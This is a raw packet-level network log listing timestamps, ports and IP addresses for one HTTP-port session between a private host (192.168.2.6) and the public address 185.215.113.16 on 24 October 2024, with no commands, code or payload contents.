Oct 24, 2024 09:07:32.130122900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130129099 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130157948 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130198956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130212069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130227089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130239964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130249977 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130285978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130367994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130374908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130381107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130387068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130392075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130398035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130400896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130405903 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130419016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130434036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130443096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130455017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130464077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130476952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130491018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130641937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130656004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130671024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130678892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130692959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130701065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130713940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130726099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130743980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130750895 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130764961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130784035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130789995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130801916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130820036 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130822897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130832911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130865097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130891085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130903959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130917072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130924940 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130938053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130953074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130959034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.130971909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.130985975 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131033897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131048918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131067991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131074905 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131088018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131108046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131108999 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131119013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131136894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131144047 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131155968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131180048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131335974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131347895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131361961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131382942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131390095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131398916 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131412029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131426096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131444931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131452084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131464958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131478071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131486893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131501913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131520987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131526947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131540060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131551027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131572962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131588936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131604910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131611109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131659985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131669998 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131683111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131696939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131714106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131721020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131776094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131799936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131823063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131836891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131850958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131860018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131874084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131882906 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131894112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131906986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131926060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131932020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131944895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131958961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.131968021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.131998062 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132288933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132303953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132318020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132333040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132343054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132355928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132364988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132376909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132390976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132405996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132426023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132431030 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132441044 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132455111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132468939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132484913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132492065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132505894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132518053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132525921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132544041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132549047 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132555962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132569075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132585049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132599115 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132626057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132668018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132680893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132694006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132713079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132724047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132739067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132757902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132764101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132776976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132796049 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132828951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132843971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132863998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132869959 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132884979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132913113 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.132970095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132983923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.132998943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133007050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.133019924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133032084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.133044004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133057117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133076906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133084059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.133095026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133120060 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.133127928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133145094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133167982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.133219004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133234024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133248091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133266926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.133272886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.133280993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.134576082 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.144610882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.144632101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.144649029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.144660950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.144680023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.174261093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174339056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174351931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174374104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174391031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174405098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.174422026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174438000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174448967 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.174459934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.174479961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174494028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174515009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.174535990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174560070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174576044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174602985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.174614906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174628019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174638033 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.174650908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174666882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174679041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174755096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174778938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.174808979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174824953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174846888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.174952984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174959898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174968004 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.174978018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.174992085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175000906 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.175014019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175038099 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.175062895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175086021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175101042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175108910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.175122976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175143957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.175200939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175214052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175226927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175236940 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.175251961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175263882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175272942 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.175309896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175333023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.175345898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175360918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175375938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175384045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.175399065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175412893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175421000 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.175435066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.175456047 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.216469049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.216490030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.216506004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.216521025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.216540098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.216578960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246282101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246309996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246324062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246346951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246360064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246370077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246387005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246408939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246421099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246434927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246449947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246459007 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246474981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246496916 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246521950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246536016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246551991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246562958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246577978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246607065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246656895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246669054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246669054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246669054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246685982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246701002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246709108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246759892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246773005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246784925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246805906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246820927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246833086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246846914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246860981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246874094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246875048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246882915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246910095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246928930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246941090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246962070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246978045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.246988058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.246999025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247023106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247034073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247056007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247068882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247076988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247106075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247112036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247119904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247127056 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247150898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247163057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247175932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247193098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247203112 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247211933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247234106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247246027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247260094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247273922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247288942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247351885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247359037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247359037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247374058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247389078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247400045 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247412920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247432947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247441053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247483969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247493982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247504950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247518063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247531891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247545958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247554064 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247567892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247584105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247591972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247612000 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.247625113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247637033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247649908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247673988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.247685909 CEST	80	49772	185.215.113.16	192.168.2.6
